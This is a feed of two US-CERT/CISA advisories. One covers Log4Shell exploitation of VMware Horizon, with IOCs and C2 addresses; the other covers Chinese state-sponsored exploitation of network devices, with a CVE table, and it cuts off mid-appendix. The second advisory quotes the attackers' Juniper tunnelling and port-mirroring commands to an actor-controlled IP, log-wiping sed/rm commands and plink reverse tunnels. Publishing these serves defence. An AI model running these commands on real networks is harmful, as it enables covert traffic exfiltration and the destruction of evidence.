AR22

US-CERT All NCAS Products - Thu, 06/23/2022 - 18:00
AR22-174B
Categories: LATEST ALERT

AR22

US-CERT All NCAS Products - Thu, 06/23/2022 - 18:00
AR22-174A
Categories: LATEST ALERT

AA22-174A: Malicious Cyber Actors Continue to Exploit Log4Shell in VMware Horizon Systems

US-CERT Alerts - Thu, 06/23/2022 - 18:00
Original release date: June 23, 2022
Summary

Actions to take today:
• Install fixed builds, updating all affected VMware Horizon and UAG systems to the latest versions. If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat all affected VMware systems as compromised.
• Minimize the internet-facing attack surface by hosting essential services on a segregated demilitarized (DMZ) zone, ensuring strict network perimeter access controls, and implementing regularly updated web application firewalls (WAFs) in front of public-facing services

The Cybersecurity and Infrastructure Security Agency (CISA) and United States Coast Guard Cyber Command (CGCYBER) are releasing this joint Cybersecurity Advisory (CSA) to warn network defenders that cyber threat actors, including state-sponsored advanced persistent threat (APT) actors, have continued to exploit CVE-2021-44228 (Log4Shell) in VMware Horizon® and Unified Access Gateway (UAG) servers to obtain initial access to organizations that did not apply available patches or workarounds.

Since December 2021, multiple threat actor groups have exploited Log4Shell on unpatched, public-facing VMware Horizon and UAG servers. As part of this exploitation, suspected APT actors implanted loader malware on compromised systems with embedded executables enabling remote command and control (C2). In one confirmed compromise, these APT actors were able to move laterally inside the network, gain access to a disaster recovery network, and collect and exfiltrate sensitive data.

This CSA provides the suspected APT actors’ tactics, techniques, and procedures (TTPs), information on the loader malware, and indicators of compromise (IOCs). The information is derived from two related incident response engagements and malware analysis of samples discovered on the victims’ networks.

CISA and CGCYBER recommend all organizations with affected systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities using the IOCs provided in this CSA, Malware Analysis Report (MAR)-10382580-1, and MAR-10382254-1. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA and report key findings to CISA.

See the list below to download copies of IOCs: 

Download the pdf version of this report: [pdf, 483 kb]

Technical Details

Note: this advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix A for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques.

Log4Shell is a remote code execution vulnerability affecting the Apache® Log4j library and a variety of products using Log4j, such as consumer and enterprise services, websites, applications, and other products, including certain versions of VMware Horizon and UAG. The vulnerability enables malicious cyber actors to submit a specially crafted request to a vulnerable system, causing the system to execute arbitrary code. The request allows the malicious actors to take full control of the affected system. (For more information on Log4Shell, see CISA’s Apache Log4j Vulnerability Guidance webpage and VMware advisory VMSA-2021-0028.13.) 

VMware made fixes available in December 2021 and confirmed exploitation in the wild on December 10, 2021.[1] Since December 2021, multiple cyber threat actor groups have exploited [T1190] Log4Shell on unpatched, public-facing VMware Horizon and UAG servers to obtain initial access [TA0001] to networks. 

After obtaining access, some actors implanted loader malware on compromised systems with embedded executables enabling remote C2. These actors connected to known malicious IP address 104.223.34[.]198.[2] This IP address uses a self-signed certificate CN: WIN-P9NRMH5G6M8. In at least one confirmed compromise, the actors collected and exfiltrated sensitive information from the victim’s network. 

The sections below provide information CISA and CGCYBER obtained during incident response activities at two related confirmed compromises.

Victim 1

CGCYBER conducted a proactive threat-hunting engagement at an organization (Victim 1) compromised by actors exploiting Log4Shell in VMware Horizon. After obtaining access, threat actors uploaded malware, hmsvc.exe, to a compromised system. During malware installation, connections to IP address 104.223.34[.]198 were observed. 

CISA and CGCYBER analyzed a sample of hmsvc.exe from the confirmed compromise. hmsvc.exe masquerades as a legitimate Microsoft® Windows® service (SysInternals LogonSessions software) [T1036.004] and appears to be a modified version of SysInternals LogonSessions software embedded with malicious packed code. When discovered, the analyzed sample of hmsvc.exe was running as NT AUTHORITY\SYSTEM, the highest privilege level on a Windows system. It is unknown how the actors elevated privileges. 

hmsvc.exe is a Windows loader containing an embedded executable, 658_dump_64.exe. The embedded executable is a remote access tool that provides an array of C2 capabilities, including the ability to log keystrokes [T1056.001], upload and execute additional payloads [T1105], and provide graphical user interface (GUI) access over a target Windows system's desktop. The malware can function as a C2 tunneling proxy [T1090], allowing a remote operator to pivot to other systems and move further into a network.

When first executed, hmsvc.exe creates the Scheduled Task [T1053.005], C:\Windows\System32\Tasks\Local Session Updater, which executes malware every hour. When executed, two randomly named *.tmp files are written to the disk at the location C:\Users\<USER>\AppData\Local\Temp\ and the embedded executable attempts to connect to hard-coded C2 server 192.95.20[.]8 over port 4443, a non-standard port [TT571]. The executable’s inbound and outbound communications are encrypted with a 128-bit key [T1573.001].

For more information on hmsvc.exe, including IOCs and detection signatures, see MAR-10382254-1.

Victim 2

From late April through May 2022, CISA conducted an onsite incident response engagement at an organization (Victim 2) where CISA observed bi-directional traffic between the organization and suspected APT IP address 104.223.34[.]198. During incident response, CISA determined Victim 2 was compromised by multiple threat actor groups. 

The threat actors using IP 104.223.34[.]198 gained initial access to Victim 2’s production environment in late January 2022, or earlier. These actors likely obtained access by exploiting Log4Shell in an unpatched VMware Horizon server. On or around January 30, likely shortly after the threat actors gained access, CISA observed the actors using PowerShell scripts [T1059.001] to callout to 109.248.150[.]13 via Hypertext Transfer Protocol (HTTP) [T1071.001] to retrieve additional PowerShell scripts. Around the same period, CISA observed the actors attempt to download [T1105] and execute a malicious file from 109.248.150[.]13. The activity started from IP address 104.155.149[.]103, which appears to be part of the actors’ C2 [TA0011] infrastructure. 

After gaining initial access to the VMware Horizon server, the threat actors moved laterally [TA0008] via Remote Desktop Protocol (RDP) [T1021.001] to multiple other hosts in the production environment, including a security management server, a certificate server, a database containing sensitive law enforcement data, and a mail relay server. The threat actors also moved laterally via RDP to the organization’s disaster recovery network. The threat actors gained credentials [TA0006] for multiple accounts, including administrator accounts. It is unknown how these credentials were acquired. 

After moving laterally to other production environment hosts and servers, the actors implanted loader malware on compromised servers containing executables enabling remote C2. The threat actors used compromised administrator accounts to run the loader malware. The loader malware appears to be modified versions of SysInternals LogonSessions, Du, or PsPing software. The embedded executables belong to the same malware family, are similar in design and functionality to 658_dump_64.exe, and provide C2 capabilities to a remote operator. These C2 capabilities include the ability to remotely monitor a system's desktop, gain reverse shell access, exfiltrate data, and upload and execute additional payloads. The embedded executables can also function as a proxy. 

CISA found the following loader malware:

  • SvcEdge.exe is a malicious Windows loader containing encrypted executable f7_dump_64.exe. When executed, SvcEdge.exe decrypts and loads f7_dump_64.exe into memory. During runtime, f7_dump_64.exe connects to hard-coded C2 server 134.119.177[.]107 over port 443. 
  • odbccads.exe is a malicious Windows loader containing an encrypted executable. When executed, odbccads.exe decrypts and loads the executable into memory. The executable attempts communication with the remote C2 address 134.119.177[.]107. 
  • praiser.exe is a Windows loader containing an encrypted executable. When executed, praiser.exe decrypts and loads the executable into memory. The executable attempts connection to hard-coded C2 address 162.245.190[.]203.
  • fontdrvhosts.exe is a Windows loader that contains an encrypted executable. When executed, fontdrvhosts.exe decrypts and loads the executable into memory. The executable attempts connection to hard-coded C2 address 155.94.211[.]207.
  • winds.exe is a Windows loader containing an encrypted malicious executable and was found on a server running as a service. During runtime, the encrypted executable is decrypted and loaded into memory. The executable attempts communication with hard-coded C2 address 185.136.163[.]104. winds.exe has complex obfuscation, hindering the analysis of its code structures. The executable’s inbound and outbound communications are encrypted with an XOR key [T1573.001].

For more information on these malware samples, including IOCs and detection signatures, see MAR-10382580-1.

Additionally, CISA identified a Java® Server Pages (JSP) application (error_401.js) functioning as a malicious webshell [T505.003] and a malicious Dynamic Link Library (DLL) file:

  • error_401.jsp is a webshell designed to parse data and commands from incoming HTTP requests, providing a remote operator C2 capabilities over compromised Linux and Windows systems. error_401.jsp allows actors to retrieve files from the target system, upload files to the target system, and execute commands on the target system. rtelnet is used to execute commands on the target system. Commands and data sent are encrypted via RC4 [T1573.001]. For more information on error_401.jsp, including IOCs, see [MAR-10382580 2].
  • newdev.dll ran as a service in the profile of a known compromised user on a mail relay server. The malware had path: C:\Users\<user>\AppData\Roaming\newdev.dll. The DLL may be the same newdev.dll attributed to the APT actors in open-source reporting; however, CISA was unable to recover the file for analysis. 

Threat actors collected [TA0009] and likely exfiltrated [TA0010] data from Victim 2’s production environment. For a three week period, the security management and certificate servers communicated with the foreign IP address 92.222.241[.]76. During this same period, the security management server sent more than 130 gigabytes (GB) of data to foreign IP address 92.222.241[.]76, indicating the actors likely exfiltrated data from the production environment. CISA also found .rar files containing sensitive law enforcement investigation data [T1560.001] under a known compromised administrator account.

Note: the second threat actor group had access to the organization's test and production environments, and on or around April 13, 2022, leveraged CVE-2022-22954 to implant the Dingo J-spy webshell. According to trusted third-party reporting, multiple large organizations have been targeted by cyber actors leveraging CVE-2022-22954 and CVE-2022-22960. For more information on exploitation of CVE-2022-22954 and CVE-2022-22960, see CISA CSA Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control.

Incident Response

If administrators discover system compromise, CISA and CGCYBER recommend:

  1. Immediately isolating affected systems. 
  2. Collecting and reviewing relevant logs, data, and artifacts.
  3. Considering soliciting support from a third-party incident response organization that can provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
  4. Reporting incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). To report cyber incidents to the Coast Guard pursuant to 33 CFR Section 101.305,  contact the U.S. Coast Guard (USCG) National Response Center (NRC) (NRC@uscg.mil or 800-424-8802). 
Mitigations

CISA and CGCYBER recommend organizations install updated builds to ensure affected VMware Horizon and UAG systems are updated to the latest version.

  • If updates or workarounds were not promptly applied following VMware’s release of updates for Log4Shell in December 2021, treat those VMware Horizon systems as compromised. Follow the pro-active incident response procedures outlined above prior to applying updates. If no compromise is detected, apply these updates as soon as possible.
    • See VMware Security Advisory VMSA-2021-0028.13 and VMware Knowledge Base (KB) 87073 to determine which VMware Horizon components are vulnerable.
    • Note: until the update is fully implemented, consider removing vulnerable components from the internet to limit the scope of traffic. While installing the updates, ensure network perimeter access controls are as restrictive as possible.
    • If upgrading is not immediately feasible, see KB87073 and KB87092 for vendor-provided temporary workarounds. Implement temporary solutions using an account with administrative privileges. Note that these temporary solutions should not be treated as permanent fixes; vulnerable components should be upgraded to the latest build as soon as possible. 
    • Prior to implementing any temporary solution, ensure appropriate backups have been completed. 
    • Verify successful implementation of mitigations by executing the vendor supplied script Horizon_Windows_Log4j_Mitigations.zip without parameters to ensure that no vulnerabilities remain. See KB87073 for details. 

Additionally, CISA and CGCYBER recommend organizations:

  • Keep all software up to date and prioritize patching known exploited vulnerabilities (KEVs)
  • Minimize the internet-facing attack surface by hosting essential services on a segregated DMZ, ensuring strict network perimeter access controls, and not hosting internet-facing services non-essential to business operations. Where possible, implement regularly updated WAFs in front of public-facing services. WAFs can protect against web based exploitation using signatures and heuristics that are likely to block or alert on malicious traffic.
  • Use best practices for identity and access management (IAM) by implementing multifactor authentication (MFA), enforcing use of strong passwords, and limiting user access through the principle of least privilege.
Contact Information

Recipients of this report are encouraged to contribute any additional information related to this threat.

  • To request incident response resources or technical assistance related to these threats, email CISA at report@cisa.gov. To contact Coast Guard Cyber Command in relation to these threats, email maritimecyber@uscg.mil.
  • To report cyber incidents to the Coast Guard pursuant to 33 CFR Section 101.305  contact the USCG NRC (NRC@uscg.mil or 800-424-8802).
Resources References

[1] VMware Security Advisory VMSA-2021-0028.13
[2] Fortinet’s blog New Milestones for Deep Panda: Log4Shell and Digitally Signed Fire Chili Rootkits

Appendix A: Indicators of Compromise

See MAR-10382580-1 and MAR-10382254-1 and Table 1 for IOCs. See the list below to download copies of these IOCs: 

Table 1: Indicators of Compromise

Type Indicator Description IP Address 104.223.34[.]198   IP address closely associated with the installation of malware on victims. 92.222.241[.]76  Victim 2 servers communicated with this IP address and sent data to it during a three-week period. 109.248.150[.]13  Actors attempting to download and execute a malicious file from this address. 104.155.149[.]103  Appears to be a part of the actors’ C2 infrastructure.  Network Port 192.95.20[.]8:80    Same description as IP 192.95.20[.]8, but includes the specific destination port of 80, which was identified in logs and during malware analysis. 1389  This was the most common destination port for Log4Shell exploitation outbound connections.  Multiple unique destination addresses were used for Log4Shell callback. 104.223.34[.]198:443  IP address closely associated to the installation of malware on victims with the specific destination port of 443. Scheduled Task C:\Windows\System32\Tasks\Local Session Update  Scheduled task created by hmsvc.exe to execute the program hourly. File Path C:\Windows\Temp\lnk{4_RANDOM_CHARS}.tmp  File created by hmsvc.exe with a random four-character filename. C:\Windows\Temp\lnk<4_RANDOM_NUMS_CHAR S>.tmp File created by hmsvc.exe with a random four-character filename. Appendix B: Threat Actor TTPs

See Table 2 for the threat actors’ tactics and techniques identified in this CSA. See the MITRE ATT&CK for Enterprise framework, version 11, for all referenced threat actor tactics and techniques.

Table 2: Tactics and Techniques

Tactic Technique Initial Access [TA0001] Exploit Public-Facing Application [T1190

Execution [TA0002]

Command and Scripting Interpreter: PowerShell [T1059.001] Scheduled Task/Job: Scheduled Task [T1053.005] Persistence [TA0003] Server Software Component: Web Shell [T1505.003] Defense Evasion [TA0005] Masquerading: Masquerade Task or Service [T1036.004] Credential Access [TA0006]   Lateral Movement [TA0008] Remote Services: Remote Desktop Protocol [T1021.001] Collection [TA0009]  Archive Collected Data: Archive via Utility [T1560.001] Input Capture: Keylogging [T1056.001] Command and Control [TA0011] Application Layer Protocol: Web Protocols [T1071.001] Encrypted Channel: Symmetric Cryptography [1573.001] Ingress Tool Transfer [T1105] Non-Standard Port [T1571]   Proxy [T1090] Disclaimer

© 2021 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.

Acknowledgements

CISA and CGCYBER would like to thank VMware and Secureworks for their contributions to this CSA.

Revisions
  • June 23, 2022: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: LATEST ALERT

AA22-158A: People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices

US-CERT Alerts - Tue, 06/07/2022 - 23:00
Original release date: June 7, 2022
Summary

Best Practices
• Apply patches as soon as possible
• Disable unnecessary ports and protocols
• Replace end-of-life infrastructure
• Implement a centralized patch management system

This joint Cybersecurity Advisory describes the ways in which People’s Republic of China (PRC) state-sponsored cyber actors continue to exploit publicly known vulnerabilities in order to establish a broad network of compromised infrastructure. These actors use the network to exploit a wide variety of targets worldwide, including public and private sector organizations. The advisory details the targeting and compromise of major telecommunications companies and network service providers and the top vulnerabilities—primarily Common Vulnerabilities and Exposures (CVEs)—associated with network devices routinely exploited by the cyber actors since 2020.

This joint Cybersecurity Advisory was coauthored by the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI). It builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal, and territorial (SLTT) government; critical infrastructure (CI), including the Defense Industrial Base (DIB); and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).

Entities can mitigate the vulnerabilities listed in this advisory by applying the available patches to their systems, replacing end-of-life infrastructure, and implementing a centralized patch management program.

NSA, CISA, and the FBI urge U.S. and allied governments, CI, and private industry organizations to apply the recommendations listed in the Mitigations section and Appendix A: Vulnerabilities to increase their defensive posture and reduce the risk of PRC state-sponsored malicious cyber actors affecting their critical networks.

For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage.

Click here for PDF.

Common vulnerabilities exploited by People’s Republic of China state-sponsored cyber actors

PRC state-sponsored cyber actors readily exploit vulnerabilities to compromise unpatched network devices. Network devices, such as Small Office/Home Office (SOHO) routers and Network Attached Storage (NAS) devices, serve as additional access points to route command and control (C2) traffic and act as midpoints to conduct network intrusions on other entities. Over the last few years, a series of high-severity vulnerabilities for network devices provided cyber actors with the ability to regularly exploit and gain access to vulnerable infrastructure devices. In addition, these devices are often overlooked by cyber defenders, who struggle to maintain and keep pace with routine software patching of Internet-facing services and endpoint devices.

Since 2020, PRC state-sponsored cyber actors have conducted widespread campaigns to rapidly exploit publicly identified security vulnerabilities, also known as common vulnerabilities and exposures (CVEs). This technique has allowed the actors to gain access into victim accounts using publicly available exploit code against virtual private network (VPN) services [T1133]  or public facing applications [T1190]—without using their own distinctive or identifying malware—so long as the actors acted before victim organizations updated their systems. 

PRC state-sponsored cyber actors typically conduct their intrusions by accessing compromised servers called hop points from numerous China-based Internet Protocol (IP) addresses resolving to different Chinese Internet service providers (ISPs). The cyber actors typically obtain the use of servers by leasing remote access directly or indirectly from hosting providers. They use these servers to register and access operational email accounts, host C2 domains, and interact with victim networks. Cyber actors use these hop points as an obfuscation technique when interacting with victim networks.

These cyber actors are also consistently evolving and adapting tactics to bypass defenses. NSA, CISA, and the FBI have observed state-sponsored cyber actors monitoring network defenders’ accounts and actions, and then modifying their ongoing campaign as needed to remain undetected. Cyber actors have modified their infrastructure and toolsets immediately following the release of information related to their ongoing campaigns. PRC state-sponsored cyber actors often mix their customized toolset with publicly available tools, especially by leveraging tools that are native to the network environment, to obscure their activity by blending into the noise or normal activity of a network.

NSA, CISA, and the FBI consider the common vulnerabilities and exposures (CVEs) listed in Table 1 to be the network device CVEs most frequently exploited by PRC state-sponsored cyber actors since 2020.

 

Table 1: Top network device CVEs exploited by PRC state-sponsored cyber actors

Vendor                                       CVE                                  Vulnerability Type Cisco CVE-2018-0171 Remote Code Execution CVE-2019-15271 RCE CVE-2019-1652 RCE Citrix CVE-2019-19781 RCE DrayTek CVE-2020-8515 RCE D-Link CVE-2019-16920 RCE Fortinet CVE-2018-13382 Authentication Bypass MikroTik CVE-2018-14847 Authentication Bypass Netgear CVE-2017-6862 RCE Pulse CVE-2019-11510 Authentication Bypass CVE-2021-22893 RCE QNAP CVE-2019-7192 Privilege Elevation CVE-2019-7193 Remote Inject CVE-2019-7194 XML Routing Detour Attack CVE-2019-7195 XML Routing Detour Attack Zyxel CVE-2020-29583 Authentication Bypass Telecommunications and network service provider targeting

PRC state-sponsored cyber actors frequently utilize open-source tools for reconnaissance and vulnerability scanning. The actors have utilized open-source router specific software frameworks, RouterSploit and RouterScan [T1595.002], to identify makes, models, and known vulnerabilities for further investigation and exploitation. The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices. RouterScan is an open-source tool that easily allows for the scanning of IP addresses for vulnerabilities. These tools enable exploitation of SOHO and other routers manufactured by major industry providers, including Cisco, Fortinet, and MikroTik.

Upon gaining an initial foothold into a telecommunications organization or network service provider, PRC state-sponsored cyber actors have identified critical users and infrastructure including systems critical to maintaining the security of authentication, authorization, and accounting. After identifying a critical Remote Authentication Dial-In User Service (RADIUS) server, the cyber actors gained credentials to access the underlying Structured Query Language (SQL) database [T1078] and utilized SQL commands to dump the credentials [T1555], which contained both cleartext and hashed passwords for user and administrative accounts. 

Having gained credentials from the RADIUS server, PRC state-sponsored cyber actors used those credentials with custom automated scripts to authenticate to a router via Secure Shell (SSH), execute router commands, and save the output [T1119]. These scripts targeted Cisco and Juniper routers and saved the output of the executed commands, including the current configuration of each router. After successfully capturing the command output, these configurations were exfiltrated off network to the actor’s infrastructure [TA0010]. The cyber actors likely used additional scripting to further automate the exploitation of medium to large victim networks, where routers and switches are numerous, to gather massive numbers of router configurations that would be necessary to successfully manipulate traffic within the network.

Armed with valid accounts and credentials from the compromised RADIUS server and the router configurations, the cyber actors returned to the network and used their access and knowledge to successfully authenticate and execute router commands to surreptitiously route [T1599], capture [T1020.001], and exfiltrate traffic out of the network to actor-controlled infrastructure. 

While other manufacturers likely have similar commands, the cyber actors executed the following commands on a Juniper router to perform initial tunnel configuration for eventual exfiltration out of the network:

set chassis fpc <slot number> pic <user defined value> tunnel-services bandwidth <user defined value>
set chassis network-services all-ethernet
set interfaces <interface-id> unit <unit number> tunnel source <local network IP address>
set interfaces <interface-id> unit <unit number> tunnel destination <actor controlled IP address>
 

After establishing the tunnel, the cyber actors configured the local interface on the device and updated the routing table to route traffic to actor-controlled infrastructure.

set interfaces <interface-id> unit <unit number> family inet address <local network IP address subnet>
set routing-options static route <local network IP address> next-hop <actor controlled IP address>
 

PRC state-sponsored cyber actors then configured port mirroring to copy all traffic to the local interface, which was subsequently forwarded through the tunnel out of the network to actor-controlled infrastructure. 

set firewall family inet filter <filter name> term <filter variable> then port-mirror
set forwarding-options port-mirroring input rate 1
set forwarding-options port-mirroring family inet output interface <interface-id> next-hop <local network IP address>
set forwarding-options port-mirroring family inet output no-filter-check
set interfaces <interface-id> unit <unit number> family inet filter input <filter name>
set interfaces <interface-id> unit <unit number> family inet filter output <filter name>
 

Having completed their configuration changes, the cyber actors often modified and/or removed local log files to destroy evidence of their activity to further obfuscate their presence and evade detection.

sed -i -e '/<REGEX>/d' <log filepath 1>
sed -i -e '/<REGEX>/d' <log filepath 2>
sed -i -e '/<REGEX>/d' <log filepath 3>
rm -f <log filepath 4>
rm -f <log filepath 5>
rm -f <log filepath 6>
 

PRC state-sponsored cyber actors also utilized command line utility programs like PuTTY Link (Plink) to establish SSH tunnels [T1572] between internal hosts and leased virtual private server (VPS) infrastructure. These actors often conducted system network configuration discovery [T1016.001] on these host networks by sending hypertext transfer protocol (HTTP) requests to C2 infrastructure in order to illuminate the external public IP address.

plink.exe –N –R <local port>:<host 1>:<remote port> -pw <user defined password> -batch root@<VPS1> -P <remote SSH port>
plink.exe –N –R <local port>:<host 2>:<remote port> -pw <user defined password> -batch root@<VPS2> -P <remote SSH port>
  Mitigations

NSA, CISA, and the FBI urge organizations to apply the following recommendations as well as the mitigation and detection recommendations in Appendix A, which are tailored to observed tactics and techniques. While some vulnerabilities have specific additional mitigations below, the following mitigations generally apply:

  • Keep systems and products updated and patched as soon as possible after patches are released [D3-SU] . Consider leveraging a centralized patch management system to automate and expedite the process.
  • Immediately remove or isolate suspected compromised devices from the network [D3-ITF] [D3-OTF].
  • Segment networks to limit or block lateral movement [D3-NI]. 
  • Disable unused or unnecessary network services, ports, protocols, and devices [D3-ACH] [D3-ITF] [D3-OTF]. 
  • Enforce multifactor authentication (MFA) for all users, without exception [D3-MFA]. 
  • Enforce MFA on all VPN connections [D3-MFA]. If MFA is unavailable, enforce password complexity requirements [D3-SPP]. 
  • Implement strict password requirements, enforcing password complexity, changing passwords at a defined frequency, and performing regular account reviews to ensure compliance [D3-SPP].
  • Perform regular data backup procedures and maintain up-to-date incident response and recovery procedures. 
  • Disable external management capabilities and set up an out-of-band management network [D3-NI].
  • Isolate Internet-facing services in a network Demilitarized Zone (DMZ) to reduce the exposure of the internal network [D3-NI].
  • Enable robust logging of Internet-facing services and monitor the logs for signs of compromise [D3-NTA] [D3-PM].
  • Ensure that you have dedicated management systems [D3-PH] and accounts for system administrators. Protect these accounts with strict network policies [D3-UAP].
  • Enable robust logging and review of network infrastructure accesses, configuration changes, and critical infrastructure services performing authentication, authorization, and accounting functions [D3-PM]. 
  • Upon responding to a confirmed incident within any portion of a network, response teams should scrutinize network infrastructure accesses, evaluate potential lateral movement to network infrastructure and implement corrective actions commensurate with their findings.
Resources

Refer to us-cert.cisa.gov/china, https://www.ic3.gov/Home/IndustryAlerts, and https://www.nsa.gov/cybersecurity-guidance for previous reporting on People’s Republic of China state-sponsored malicious cyber activity.

U.S. government and critical infrastructure organizations, should consider signing up for CISA’s cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats.

U.S. Defense Industrial Base (DIB) organizations, should consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration. For more information on eligibility criteria and how to enroll in these services, email dib_defense@cyber.nsa.gov.

Additional References Contact Information 

To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov. To report computer intrusion or cybercrime activity related to information found in this advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch at 855-292-3937 or by email at CyWatch@fbi.gov. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov

Media Inquiries / Press Desk: 

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This advisory was developed by NSA, CISA, and the FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. 

Appendix A: Vulnerabilities

Table 2: Information on Cisco CVE-2018-0171

                                        Cisco CVE-2018-0171                           CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

A vulnerability in the Smart Install feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial of service (DoS) condition, or to execute arbitrary code on an affected device. The vulnerability is due to improper validation of packet data. An attacker could exploit this vulnerability by sending a crafted Smart Install message to an affected device on TCP port 4786. A successful exploit could allow the attacker to cause a buffer overflow on the affected device, which could have the following impacts: Triggering a reload of the device, Allowing the attacker to execute arbitrary code on the device, causing an indefinite loop on the affected device that triggers a watchdog crash.

Recommended Mitigations 
  • Cisco has released software updates that address this vulnerability.
  • In addition, the Cisco Smart Install feature is highly recommended to be disabled to reduce exposure.
Detection Methods
  • CISCO IOS Software Checker

Vulnerable Technologies and Versions

The vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or IOS XE software and have the smart install client feature enabled. Only smart install client switches are affected by this vulnerability described in this advisory. 

References

http://www.securityfocus.com/bid/103538
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-04
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-05
https://www.darkreading.com/perimeter/attackers-exploit-cisco-switch-issue-as-vendor-warns-of-yet-another-critical-flaw/d/d-id/1331490
http://www.securitytracker.com/id/1040580

 

Table 3: Information on Cisco CVE-2019-15271

                                              Cisco CVE-2019-15271                      CVSS 3.0: 8.8 (High)

Vulnerability Description 

A vulnerability in the web-based management interface of certain Cisco Small Business RV Series Routers could allow an authenticated, remote attacker to execute arbitrary commands with root privileges. The attacker must have either a valid credential or an active session token. The vulnerability is due to lack of input validation of the HTTP payload. An attacker could exploit this vulnerability by sending a malicious HTTP request to the web-based management interface of the targeted device. A successful exploit could allow the attacker to execute commands with root privileges.

Recommended Mitigations 
  • Cisco has released free software updates that address the vulnerability described in this advisory.
  • Cisco fixed this vulnerability in firmware releases 4.2.3.10 and later for the Cisco RV042 Dual WAN VPN Router and RV042G Dual Gigabit WAN VPN Router.
  • Administrators can reduce the attack surface by disabling the Remote Management feature if there is no operational requirement to use it. Note that the feature is disabled by default.
Detection Methods 
  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects the following Cisco Small Business RV Series Routers if they are running a firmware release earlier than 4.2.3.10:

  • RV016 Multi-WAN VPN Router
  • RV042 Dual WAN VPN Router
  • RV042G Dual Gigabit WAN VPN Router
  • RV082 Dual WAN VPN Router

References 

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191106-sbrv-cmd-x

 

Table 4: Information on Cisco CVE-2019-1652

                                                Cisco CVE-2019-1652                    CVSS 3.0: 7.2 (High)

Vulnerability Description 

A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote attacker with administrative privileges on an affected device to execute arbitrary commands. The vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending malicious HTTP POST requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying Linux shell as root. Cisco has released firmware updates that address this vulnerability.

Recommended Mitigations 
  • Cisco has released free software updates that address the vulnerability described in this advisory
  • This vulnerability is fixed in RV320 and RV325 Dual Gigabit WAN VPN Routers Firmware Release 1.4.2.22 and later.
  • If the Remote Management feature is enabled, Cisco recommends disabling it to reduce exposure.
Detection Methods 
  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers running firmware releases 1.4.2.15 through 1.4.2.20.

References 

http://www.securityfocus.com/bid/106728
https://seclists.org/bugtraq/2019/Mar/55
https://www.exploit-db.com/exploits/46243/
https://www.exploit-db.com/exploits/46655/
http://seclists.org/fulldisclosure/2019/Mar/61
http://packetstormsecurity.com/files/152262/Cisco-RV320-Command-Injection.html
http://packetstormsecurity.com/files/152305/Cisco-RV320-RV325-Unauthenticated-Remote-Code-Execution.html
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject

 

Table 5: Information on Citrix CVE-2019-19781

                                                   Citrix CVE-2019-19781          CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.

Recommended Mitigations 
  • Implement the appropriate refresh according to the vulnerability details outlined by vendor: Citrix: Mitigation Steps for CVE-2019-19781. 
  • If possible, only allow the VPN to communicate with known Internet Protocol (IP) addresses (allow-list).
Detection Methods 
  • CISA has developed a free detection tool for this vulnerability: cisa.gov/check-cve-2019-19781: Test a host for susceptibility to CVE-2019-19781.
  • Nmap developed a script that can be used with the port scanning engine: CVE-2019-19781 – Critix ADC Path Traversal #1893.
  • Citrix also developed a free tool for detecting compromises of Citrix ADC Appliances related to CVE-2019-19781: Citrix / CVE-2019-19781: IOC Scanner for CVE-2019-19781.
  • CVE-2019-19781 is commonly exploited to install web shell malware. The National Security Agency (NSA) provides guidance on detecting and preventing web shell malware at https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF and signatures at https://github.com/nsacyber/Mitigating-Web-Shells.

Vulnerable Technologies and Versions 

The vulnerability affects the following Citrix product versions on all supported platforms:

